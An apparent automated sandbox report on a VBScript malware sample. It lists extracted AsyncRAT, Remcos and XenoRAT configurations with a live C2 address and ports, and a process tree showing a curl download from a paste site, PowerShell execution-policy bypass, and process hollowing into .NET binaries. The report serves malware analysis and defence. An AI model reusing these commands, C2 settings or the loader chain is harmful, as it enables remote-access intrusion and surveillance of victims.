Analysis
- max time kernel
1799s - max time network
1800s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
31/03/2024, 01:25
General
- Target IMGES3.vbs
- Size 111KB
- Sample240331-bs6xmsbc6w
- SHA256 84173441b7c16b960ee4e1532ae137955c12d0250696694405683a52e36920e6
Malware Config
Extracted
-
asyncrat
-
1.0.7
-
CAdaaaa222
-
141.95.84.40:6262
-
qw123123ecasdzcxqwe
-
delay
1
-
install
false
-
install_folder
%AppData%
Extracted
-
remcos
-
Newsss
-
141.95.84.40:4090
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
awcvvwvvwa-MZS2PC
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
Remcos
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
remcos
-
NICEEEEEEEEEEEEEE
-
141.95.84.40:3939
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
acwaw2-S0GXDB
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
-
xenorat
-
141.95.84.40
-
asasasasa_nd891332d
-
delay
5000
-
install_path
nothingset
-
port
4444
-
startup_name
nothingset
Extracted
-
remcos
-
AUS
-
141.95.84.40:3636
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
asasasasasadtssrsar-SCM43H
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Remcos
Remcos is a closed-source remote control and surveillance software.
- XenorRat
XenorRat is a remote access trojan written in C#.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 8 IoCs
- Loads dropped DLL 23 IoCs
- Registers COM server for autorun 1 TTPs 36 IoCs
- Suspicious use of SetThreadContext 18 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 6 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IMGES3.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\curl.execurl -s https://paste.ee/r/BH4k62⤵
-
-
C:\Windows\SYSWOW64\WSCRIPT.EXE"C:\Windows\SYSWOW64\WSCRIPT.EXE" //b //e:vbscript "C:\Users\Admin\AppData\Local\Temp\IMGES3.vbs"2⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\curl.execurl -s https://paste.ee/r/BH4k63⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\Mia Khlifa OnlyFans.vbs"' & exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\Mia Khlifa OnlyFans.vbs"'5⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Mia Khlifa OnlyFans.vbs"6⤵
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\awkey.vbs"' & exit4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\awkey.vbs"'5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\awkey.vbs"6⤵
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 128⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 328⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\hvnc.vbs"' & exit4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\hvnc.vbs"'5⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hvnc.vbs"6⤵
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 128⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 328⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5104 -s 1568⤵
- Program crash
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\aw.vbs"' & exit4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\aw.vbs"'5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\aw.vbs"6⤵
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"7⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\winhlp32.exe"C:\Windows\winhlp32.exe"7⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"3⤵
- Loads dropped DLL
- Registers COM server for autorun
- Modifies registry class
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2680 -s 804⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2680 -ip 26801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2008 -ip 20081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2008 -ip 20081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1032 -ip 10321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5104 -ip 51041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1032 -ip 10321⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
aspnet_compiler.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
Mia Khlifa OnlyFans.vbs
__PSScriptPolicyTest_ze3en2bx.mg2.ps1
aw.vbs
awkey.vbs
dynwrapx.dll
hvnc.vbs
memory/760-31-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/760-47-0x00000000067F0000-0x000000000680E000-memory.dmp
memory/760-50-0x0000000006CE0000-0x0000000006CFA000-memory.dmp
memory/760-49-0x00000000079C0000-0x0000000007A56000-memory.dmp
memory/760-48-0x0000000006830000-0x000000000687C000-memory.dmp
memory/760-30-0x0000000005250000-0x0000000005286000-memory.dmp
memory/760-32-0x0000000005200000-0x0000000005210000-memory.dmp
memory/760-55-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/760-51-0x0000000006D30000-0x0000000006D52000-memory.dmp
memory/760-34-0x00000000058C0000-0x0000000005EE8000-memory.dmp
memory/760-35-0x0000000006060000-0x0000000006082000-memory.dmp
memory/760-36-0x0000000006100000-0x0000000006166000-memory.dmp
memory/760-33-0x0000000005200000-0x0000000005210000-memory.dmp
memory/760-46-0x0000000006410000-0x0000000006764000-memory.dmp
memory/1008-168-0x0000000005040000-0x0000000005050000-memory.dmp
memory/1008-188-0x0000000005040000-0x0000000005050000-memory.dmp
memory/1008-164-0x0000000000400000-0x0000000000412000-memory.dmp
memory/1008-167-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1008-185-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1032-174-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1040-146-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1040-159-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1696-170-0x0000000003F70000-0x0000000003F71000-memory.dmp
memory/1696-165-0x0000000003B90000-0x0000000003B91000-memory.dmp
memory/1696-175-0x0000000004010000-0x0000000004011000-memory.dmp
memory/1696-180-0x00000000040A0000-0x00000000040A1000-memory.dmp
memory/1768-76-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1768-78-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1768-73-0x0000000000400000-0x000000000047F000-memory.dmp
memory/1832-15-0x0000000004EA0000-0x0000000004EB0000-memory.dmp
memory/1832-13-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1832-25-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1916-91-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1916-92-0x0000000002E80000-0x0000000002E90000-memory.dmp
memory/1916-108-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/1916-105-0x0000000006970000-0x00000000069BC000-memory.dmp
memory/1916-103-0x0000000006380000-0x00000000066D4000-memory.dmp
memory/1916-93-0x0000000002E80000-0x0000000002E90000-memory.dmp
memory/2304-22-0x0000000005E00000-0x0000000005E66000-memory.dmp
memory/2304-26-0x0000000006EF0000-0x0000000006F66000-memory.dmp
memory/2304-74-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/2304-21-0x0000000006340000-0x00000000068E4000-memory.dmp
memory/2304-83-0x0000000005550000-0x0000000005560000-memory.dmp
memory/2304-6-0x0000000000400000-0x0000000000412000-memory.dmp
memory/2304-12-0x0000000005550000-0x0000000005560000-memory.dmp
memory/2304-27-0x00000000060B0000-0x00000000060BC000-memory.dmp
memory/2304-9-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/2304-18-0x0000000005CF0000-0x0000000005D8C000-memory.dmp
memory/2304-28-0x0000000006E90000-0x0000000006EAE000-memory.dmp
memory/2304-23-0x0000000074CB0000-0x0000000074CC2000-memory.dmp
memory/2484-172-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/2500-204-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/2500-189-0x0000000072A80000-0x0000000073230000-memory.dmp
memory/2500-190-0x0000000004990000-0x00000000049A0000-memory.dmp
memory/2500-191-0x0000000004990000-0x00000000049A0000-memory.dmp
memory/2504-209-0x0000000004D80000-0x0000000004D81000-memory.dmp
memory/2892-135-0x0000000005080000-0x0000000005081000-memory.dmp
memory/2892-113-0x0000000004D80000-0x0000000004D81000-memory.dmp
memory/2892-130-0x0000000004E10000-0x0000000004E11000-memory.dmp
memory/2892-137-0x0000000005100000-0x0000000005101000-memory.dmp
memory/3204-88-0x0000000000400000-0x000000000047F000-memory.dmp
memory/3204-86-0x0000000000400000-0x000000000047F000-memory.dmp
memory/3204-85-0x0000000000400000-0x000000000047F000-memory.dmp
memory/3516-126-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-115-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-181-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-182-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-114-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-116-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-118-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-145-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-125-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-124-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-123-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-121-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3516-120-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3600-225-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3600-226-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4032-133-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4032-131-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4032-132-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4060-11-0x0000000004390000-0x0000000004391000-memory.dmp
memory/4060-7-0x00000000040C0000-0x00000000040C1000-memory.dmp
memory/4060-20-0x0000000004A80000-0x0000000004A81000-memory.dmp
memory/4120-71-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-177-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-176-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-70-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-69-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-68-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-67-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-65-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-63-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-60-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4120-61-0x0000000000400000-0x000000000047F000-memory.dmp
memory/4256-232-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4256-231-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4264-62-0x00000000055C0000-0x00000000055C1000-memory.dmp
memory/4264-84-0x00000000056C0000-0x00000000056C1000-memory.dmp
memory/4264-75-0x0000000005640000-0x0000000005641000-memory.dmp
memory/4600-141-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4600-140-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4600-139-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-210-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-211-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-212-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-215-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-218-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-219-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4812-220-0x0000000000400000-0x0000000000482000-memory.dmp